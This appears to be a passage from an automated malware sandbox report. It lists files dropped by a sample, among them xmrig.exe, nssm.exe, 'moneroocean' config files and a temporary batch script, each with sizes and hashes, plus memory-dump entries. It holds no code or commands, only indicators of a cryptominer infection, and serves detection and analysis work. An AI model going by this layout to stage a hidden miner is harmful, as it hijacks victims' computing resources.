                                                                                                                                                                                                                                                                                                            d90ea7f2678b3b04ae00fe742a307438

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            5d0a7423684e21fa002e16bf2b522ebb810989cb

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            098f84d62af935b74a97cfcbfb58e4d6ffd0bfe5acfc1bdc4ef9956c4f013746

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            35dd285ca9ed55a6f6325199156b25be41048bbe39f634c174c193a8bebdcbb1466e033e3c0ff203b89f8bbf0ce3fce124151abf00a1199140e41c43767d43c2

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            64B

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            96b93e9385cf171047717a1f9ea57f0b

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            ec92de8bbafc934cae049e12f648debc9021d373

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            9686dc9ecdaea1e208e1e26a8822a52c179ea5fe7e12af92c21c43cde173681e

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            8b4d846ace09bfe6e873be5614e3e59fac9a003d8588a3b47fd81ba9702f9c3da3dc948621870414e50ed35ba278f4f021053b2c90737987f231a0adeeeb25a7

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ztsvjoc5.005.ps1

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            60B

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\tmpEB1.tmp.bat

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            14KB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            623f6006f683afdb4b7406e3a4ec35bf

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            f63f03d7338317224726eba368f1a045fa2142d7

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            21d6e0b0e8135a929a77f48e00d286bfa4fc2d749a61529e559b8a5ceb63e47b

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            df7ae1e436be99bbf9ec7fe1fb745c9e2dba6b99e24019b5b1f78786198f1aed465575a829e9b8141bc92f0a4c4269e140228b4335f9fa724a60f1330ad6d3ab

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\moneroocean\config.json

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            2KB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            725d38d9eeadc9c2691063936b01f9ec

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            153fd5bd55cfd845516562291a7ab867d68145b5

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            0df3cdd812a582b5ddf5c8019fe7aecf03edb5760f4cf2d0c81ba73590a2ec43

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            fe2758ddaa974696c733367d479dc54695ee1f177275f3b26d575b3c27b8c968b6bab0ce1e5b715e6513d1f39d880462b3d8cc542507f2eeae531a9a6d337658

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\moneroocean\config.json

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            2KB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            64cafb884608c751a2bccaca7c582e0f

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            924f71ecb4903ab63a13a125e62fd6e5f5d20cb2

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            3250e852f2fb3e61bd0642d92f1decac666777da7c4d59d6270ee49fc856151b

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            ddd68d3d13bd65f926f6be67ac891c143d6e282ee955871382452f2627ca42ed54e7363d83651b904cdf8054bc1d12a02becd44ac1b5cdc98ac42fc7ebfe97a0

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\moneroocean\config.json

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            2KB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            8b25f31750a1bd2a5184de93c2f727c6

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            a12969638354fc5268be07eda6bc4352cc40d488

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            aa99ae2f4627f2d7e2a9c19474248667b8654d02f68cacbb2d644ee6e6de9da4

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            b3d6c24f246d0e2afd58a4dec93007df1afaf70ea3394c03d8d661cf06570b5c6ca0337524f503b2cef113da70b65d482b8d53d77bca4941fc99a2e918f415ca

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\moneroocean\config.json

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            2KB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            993bb26789d07c6ba3d0483e1697f66b

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            9ccb7876dc4ddb65b2aba03737bc708f231704d5

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            be170c95c392fec2dda13b4f6710cac7e9f2cf1b59d5e0ea9e3ab1906453025b

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            753c77dbcea361b403abd05bd594af8c924b246960b8e9375dcc51d75d47abf08af37eefa2ea3139301cf97c5cd27c71834155f53f00565495f78f01c006dc5a

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\moneroocean\config.json

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            2KB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            71469039aeadb148b9be6bef59efea0e

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            368aae717236f31850399ff06a973dc7e6dafedf

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            a959d78ed05393b0ee462c47573deb247d69a495e5fb2eb7991c99d60b48bac2

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            fd242b21996fb01f62cd6d23cd899b39890528918cd8fd145c82a4af4069b0278e601536ccecbf9d077a1c6e680a1cad416067878a72a06ea50a6546375f56f9

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\moneroocean\config.json

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            2KB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            d4f8a13f8c90e2b3b2e7d30a553df39c

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            5c5303ef682ffcd31e57d1abd900ba5b637d51e4

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            f7fc5b53e709adc1f4116ff47656f7262d7fb2859a100b3e3a5568453485649a

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            68b0b59a732fecc8b345fa0429039d36bc3031ab65198e4d3783a5c16fa768bb6562131c1db58d00ad9c4af7fd8d77aed3c2150930663280a6bbd635ba5831bd

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\moneroocean\config.json

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            2KB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            c9ef9c214996db3d88f571226910c5d5

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            420ba30247b1e09f706557a7704a1ebee5d3165c

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            fa55a24dccbf28309642d958cbb73f5053e3a56baa0eda22d4581e0151f5f7c1

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            de91ef4268e67c4fa8d7216637bd9ca69ea33b108352675c954d4719d2d58b9414df78c6ebc8f622fcfbeda4ad5f981c2a17a48f7eeae8626cefe5b6894ec68d

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\moneroocean\nssm.exe

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            360KB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            1136efb1a46d1f2d508162387f30dc4d

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            f280858dcfefabc1a9a006a57f6b266a5d1fde8e

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            eee9c44c29c2be011f1f1e43bb8c3fca888cb81053022ec5a0060035de16d848

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            43b31f600196eaf05e1a40d7a6e14d4c48fc6e55aca32c641086f31d6272d4afb294a1d214e071d5a8cce683a4a88b66a6914d969b40cec55ad88fde4077d3f5

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\moneroocean\xmrig.exe

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            9.0MB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            9ee2c39700819e5daab85785cac24ae1

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            9b5156697983b2bdbc4fff0607fadbfda30c9b3b

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            e7c13a06672837a2ae40c21b4a1c8080d019d958c4a3d44507283189f91842e3

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            47d81ff829970c903f15a791b2c31cb0c6f9ed45fdb1f329c786ee21b0d1d6cd2099edb9f930824caceffcc936e222503a0e2c7c6253718a65a5239c6c88b649

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\moneroocean\xmrig.exe

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            2.6MB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            d98997f58338d0e9fa2ea71a2022a277

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            398249d37dee924813032aad6d2d66bc318945b4

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            c00426ea55a9293b22136e320d10714ce673651ff9113bd7466faa1d8876f560

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            349fde2a99ea6badfe63f6ccb687630179ca6ea8803c82af9f2ad8ee1ed59659c927596ec7e27a45e2bccfb8f2e27082d0dbdffc3e2717d16a0db855abe65e80

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\moneroocean\xmrig.exe

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            2.0MB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            92a903195a53208ba40d4151687437e4

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            abc4b50fc7ec5a23a2c780ba642848505a6f58f6

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            c07715d90597ae00443f9f1e31715c47742452566b3688dc83a3d0fe1ee3161f

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            d97c43e783db37c5ff8e9fa2db4924fdc8d1f1708dfb772ee98c0bf8451a4a735a63d5eb91b93f44b01d95be33e1a434a4f74e5bda7d18818e179cd93b7d53f8

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\nssm.zip

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            135KB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            7ad31e7d91cc3e805dbc8f0615f713c1

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            9f3801749a0a68ca733f5250a994dea23271d5c3

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            5b12c3838e47f7bc6e5388408a1701eb12c4bbfcd9c19efd418781304590d201

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            d7d947bfa40d6426d8bc4fb30db7b0b4209284af06d6db942e808cc959997cf23523ffef6c44b640f3d8dbe8386ebdc041d0ecb5b74e65af2c2d423df5396260

                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\xmrig.zip

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            2.4MB

                                                                                                                                                                                                                                                                                                            MD5

                                                                                                                                                                                                                                                                                                            25580cd25ab23d61aad83d88d5e86955

                                                                                                                                                                                                                                                                                                            SHA1

                                                                                                                                                                                                                                                                                                            b890fbf4a0bd82a34d1cec3aa9b59ce2136ddf84

                                                                                                                                                                                                                                                                                                            SHA256

                                                                                                                                                                                                                                                                                                            3ded92ff46846539876738fe251eeef0c1c54184a64925bd5070255008e93f4a

                                                                                                                                                                                                                                                                                                            SHA512

                                                                                                                                                                                                                                                                                                            069042d43de0ea32f6baaca33785fc9348f189ac7e60ff6bda6189eb78f51bea930927a931627c2f38d31e8925e03d42f59c5496e6cbec40c19366c794c34f3a

                                                                                                                                                                                                                                                                                                          • memory/1768-66-0x00000000000E0000-0x0000000000100000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            128KB

                                                                                                                                                                                                                                                                                                          • memory/1768-67-0x0000000000400000-0x000000000102B000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            12.2MB

                                                                                                                                                                                                                                                                                                          • memory/2632-205-0x0000000000400000-0x000000000102B000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            12.2MB

                                                                                                                                                                                                                                                                                                          • memory/2632-207-0x0000000000400000-0x000000000102B000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            12.2MB

                                                                                                                                                                                                                                                                                                          • memory/2632-213-0x0000000000400000-0x000000000102B000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            12.2MB

                                                                                                                                                                                                                                                                                                          • memory/2632-212-0x0000000000400000-0x000000000102B000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            12.2MB

                                                                                                                                                                                                                                                                                                          • memory/2632-211-0x0000000000400000-0x000000000102B000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            12.2MB

                                                                                                                                                                                                                                                                                                          • memory/2632-210-0x0000000000400000-0x000000000102B000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            12.2MB

                                                                                                                                                                                                                                                                                                          • memory/2632-209-0x0000000000400000-0x000000000102B000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            12.2MB

                                                                                                                                                                                                                                                                                                          • memory/2632-208-0x0000000000400000-0x000000000102B000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            12.2MB

                                                                                                                                                                                                                                                                                                          • memory/2632-202-0x0000000000400000-0x000000000102B000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            12.2MB

                                                                                                                                                                                                                                                                                                          • memory/2632-203-0x0000000000400000-0x000000000102B000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            12.2MB

                                                                                                                                                                                                                                                                                                          • memory/2632-204-0x0000000000400000-0x000000000102B000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            12.2MB

                                                                                                                                                                                                                                                                                                          • memory/2632-206-0x0000000000400000-0x000000000102B000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            12.2MB

                                                                                                                                                                                                                                                                                                          • memory/2688-41-0x000002D05EDD0000-0x000002D05EDE2000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            72KB

                                                                                                                                                                                                                                                                                                          • memory/2688-40-0x000002D044750000-0x000002D04475A000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            40KB

                                                                                                                                                                                                                                                                                                          • memory/4672-12-0x00007FFCA3100000-0x00007FFCA3BC1000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            10.8MB

                                                                                                                                                                                                                                                                                                          • memory/4672-201-0x00007FFCA3100000-0x00007FFCA3BC1000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            10.8MB

                                                                                                                                                                                                                                                                                                          • memory/4672-7-0x00000182FF480000-0x00000182FF4A2000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            136KB

                                                                                                                                                                                                                                                                                                          • memory/4672-0-0x00007FFCA3103000-0x00007FFCA3105000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            8KB

                                                                                                                                                                                                                                                                                                          • memory/4672-13-0x00007FFCA3100000-0x00007FFCA3BC1000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            10.8MB

                                                                                                                                                                                                                                                                                                          • memory/4672-11-0x00007FFCA3100000-0x00007FFCA3BC1000-memory.dmp

                                                                                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                                                                                            10.8MB